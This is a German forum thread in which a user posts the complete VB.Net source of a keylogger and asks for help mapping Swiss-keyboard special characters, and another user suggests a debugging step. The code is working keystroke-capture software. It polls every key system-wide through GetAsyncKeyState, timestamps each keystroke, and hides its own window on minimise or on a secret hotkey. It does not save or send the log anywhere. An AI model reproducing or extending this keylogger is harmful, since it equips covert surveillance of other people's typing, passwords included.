[VB.Net] Keylogger - Porbleme bei Sonderzeichen..

HoHoHo Leute :D

Bitte lesen vor dem Urteilen, danke :)
Erstmal nein, ich will niemanden damit ausspionieren und das kann das Programm auch nicht wenn ihr euch den Code anschaut. Die Daten bleiben auf der Platte und werden noch nicht mal in eine Datei geschrieben.
Ich habe ein kleines Problem.. Ich habe mir den Code eines Keyloggers gezogen und ihn umgeschrieben und auf das nötigste minimiert. Er war auch mit dem US-Tastaturlayout geschrieben und ich arbeite mit dem CH-Tastaturlayout:
450px-KB_Swiss.svg.png


Code:
Imports System.Runtime.InteropServices
Imports System.Threading
Imports System.IO
Imports System.ComponentModel

Public Class frmKeylogger
    ' declarations
    Dim buffer As New List(Of String)
    Dim buffercat As String
    Dim stagingpoint As String
    Dim actual As String
    Dim initlog As Boolean = False

    ' threading
    Public thread_scan As Thread
    Public thread_hide As Thread

    ' thread-safe calling for thread_hide
    Delegate Sub Change()
    Dim objchange As New Change(AddressOf DoHide)

    Private Sub frmKeyRogger_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Text = "Keylogger"

        'initiate hide thread
        thread_hide = New Thread(AddressOf HideIt)
        thread_hide.IsBackground = True
        thread_hide.Start()

        StartLogging()
    End Sub

    ' write out keystroke log to file on close event
    Private Sub frmKeyLogger_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
        StopLogging()
    End Sub


    ' getkey, API call to USER32.DLL
    <DllImport("USER32.DLL", EntryPoint:="GetAsyncKeyState", SetLastError:=True,
    CharSet:=CharSet.Unicode, ExactSpelling:=True,
    CallingConvention:=CallingConvention.StdCall)>
    Public Shared Function getkey(ByVal Vkey As Integer) As Boolean
    End Function


    Private Sub StartLogging()
        thread_scan = New Thread(AddressOf Scan)
        thread_scan.IsBackground = True
        thread_scan.Start()
    End Sub

    ' checks for keypresses with delay, upon detection of pressed key, calls AddToBuffer
    Public Sub Scan()
        Dim foo As Integer
        While 1

            For foo = 1 To 93 Step 1
                If getkey(foo) Then
                    AddtoBuffer(foo, getkey(16))
                End If
            Next

            For foo = 186 To 192 Step 1
                If getkey(foo) Then
                    AddtoBuffer(foo, getkey(16))
                End If
            Next

            BufferToOutput()
            buffer.Clear()

            Thread.Sleep(120)
            SetText(stagingpoint)
        End While
    End Sub


    ' parses keycode and saves to buffer to be written
    Public Sub AddtoBuffer(ByVal foo As Integer, ByVal modifier As Boolean)
        If Not (foo = 219 Or foo = 1 Or foo = 2 Or foo = 8 Or foo = 9 Or foo = 13 Or (foo >= 17 And foo <= 20) Or foo = 27 Or (foo >= 32 And foo <= 40) Or (foo >= 44 And foo <= 57) Or (foo >= 65 And foo <= 93) Or (foo >= 186 And foo <= 192)) Then
            Exit Sub
        End If

        Select Case foo
            Case 48 To 57
                If modifier Then
                    Select Case foo
                        Case 48
                            actual = "=" 'ok
                        Case 49
                            actual = "+" 'ok
                        Case 50
                            actual = """" 'ok
                        Case 51
                            actual = "*" 'ok
                        Case 52
                            actual = "ç" 'ok
                        Case 53
                            actual = "%" 'ok
                        Case 54
                            actual = "&" 'ok
                        Case 55
                            actual = "/" 'ok
                        Case 56
                            actual = "(" 'ok
                        Case 57
                            actual = ")" 'ok
                    End Select
                Else
                    actual = Convert.ToChar(foo)
                End If
            Case 65 To 90
                If modifier Then
                    actual = Convert.ToChar(foo)
                Else
                    actual = Convert.ToChar(foo + 32)
                End If
            Case 1
                actual = "<LCLICK>" 'ok
            Case 2
                actual = "<RCLICK>" 'ok
            Case 8
                actual = "<BACKSPACE>" 'ok
            Case 9
                actual = "<TAB>"
            Case 13
                actual = "<ENTER>" 'ok
            Case 17
                actual = "<CTRL>" 'ok
            Case 18
                actual = "<ALT>" 'ok
            Case 19
                actual = "<PAUSE>" 'ok
            Case 20
                actual = "<CAPSLOCK>" 'ok
            Case 27
                actual = "<ESC>" 'ok
            Case 32
                actual = " " 'ok
            Case 33
                actual = "<PAGEUP>" 'ok
            Case 34
                actual = "<PAGEDOWN>" 'ok
            Case 35
                actual = "<END>" 'ok
            Case 36
                actual = "<HOME>" 'ok
            Case 37
                actual = "<LEFT>" 'ok
            Case 38
                actual = "<UP>" 'ok
            Case 39
                actual = "<RIGHT>" 'ok
            Case 40
                actual = "<DOWN>" 'ok
            Case 44
                actual = "<PRNTSCRN>" 'ok
            Case 45
                actual = "<INSERT>" 'ok
            Case 46
                actual = "<DEL>" 'ok
            Case 47
                actual = "<HELP>"
            Case 186
                If modifier Then
                    actual = "è" 'ok
                Else
                    actual = "ü" 'ok
                End If

            Case 219
                If modifier Then
                    actual = "?"
                Else
                    actual = "'"
                End If

            Case 188
                If modifier Then
                    actual = ";" 'ok
                Else
                    actual = "," 'ok
                End If
            Case 189
                If modifier Then
                    actual = "_" 'ok
                Else
                    actual = "-" 'ok
                End If
            Case 190
                If modifier Then
                    actual = ":" 'ok
                Else
                    actual = "." 'ok
                End If
            Case 191
                If modifier Then
                    actual = "°" 'ok
                Else
                    actual = "§" 'ok
                End If
            Case 192
                If modifier Then
                    actual = "!" 'ok
                Else
                    actual = "¨" 'ok
                End If
        End Select

        If buffer.Count <> 0 Then
            Dim bar As Integer = 0
            While bar < buffer.Count
                If buffer(bar) = actual Then
                    Exit Sub
                End If
                bar += 1
            End While
        End If

        Dim time As String = Date.Now.Hour.ToString & ":" & Date.Now.Minute.ToString & ":" & Date.Now.Second.ToString & ":" & Date.Now.Millisecond.ToString & " "

        buffer.Add(time & actual & vbNewLine)
    End Sub

    ' writes buffer to output box
    Public Sub BufferToOutput()
        If buffer.Count <> 0 Then
            Dim qux As Integer = 0
            While qux < buffer.Count
                buffercat = buffercat & buffer(qux)
                qux += 1
            End While
            'SetText(txtOutput.Text & buffercat)
            stagingpoint = stagingpoint & buffercat
            buffercat = String.Empty
        End If
    End Sub

    Delegate Sub SetTextCallback(ByVal [text] As String)

    ' thread safe call to output text to output box
    Private Sub SetText(ByVal [text] As String)
        If txtOutput.InvokeRequired Then
            Dim d As New SetTextCallback(AddressOf SetText)
            Me.Invoke(d, New Object() {[text]})
        Else
            txtOutput.Text = [text]
        End If
    End Sub

    Private Sub StopLogging()
        thread_scan.Abort()
        buffer.Clear()
    End Sub

    Private Sub frmKeyRogger_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
        If Me.WindowState = FormWindowState.Minimized Then
            Me.Hide()
        End If
    End Sub

    ' ctrl+shift+s toggles hide form
    Public Sub HideIt()
        While 1
            If getkey(17) And getkey(160) And getkey(83) Then
                Me.Invoke(objchange)
            End If
            Thread.Sleep(200)
        End While
    End Sub

    Public Sub DoHide()
        If Me.Visible = True Then
            Me.Visible = False
        Else
            Me.Visible = True
        End If
    End Sub

End Class
Nun bereiten mir aber die folgenden Zeichen Probleme ' ? ^`ö é ä à $ £ < >
Wie um Himmelswillen krieg ich das hin... Kann sich das jemand mal anschauen?
Keyvalue von ' wäre zum Beispiel 219 aber das klappt nicht..
Auf der Form braucht man eine RichTextbox "txtOutput" und die Form heisst "frmKeylogger".

LG und danke
Luca
 
Zuletzt bearbeitet:
Unformatierten Code ernsthaft durchzulesen habe ich mir mal irgendwann abgewöhnt :p.

Warum packst du nicht einfach temporär eine Ausgabe nach dem Einstieg deiner Methode rein? Dann drückst du die entsprechende Taste um zu sehen, welcher Keycode zurückgegeben wird. Ist doch irgendwie die einfachste und praktischteste Lösung...oder was spricht dagegen? :wink:
 
Unformatierten Code ernsthaft durchzulesen habe ich mir mal irgendwann abgewöhnt :p.
Sorry, schon getan :D

Warum packst du nicht einfach temporär eine Ausgabe nach dem Einstieg deiner Methode rein? Dann drückst du die entsprechende Taste um zu sehen, welcher Keycode zurückgegeben wird. Ist doch irgendwie die einfachste und praktischteste Lösung...oder was spricht dagegen? :wink:
hab ich getan und genau den Keycode im Code eingetragen, und genau da ist das Problem: es klappt einfach nicht.. Evlt sieht ja ein zweites paar Augen mehr..
219 wäre zum Beispiel ' aber das funktioniert nicht

Ausserdem sind alle funktionierenden Keyabfragen mit einem "ok" kommentiert... :)
 
Zuletzt bearbeitet:
Zurück
Oben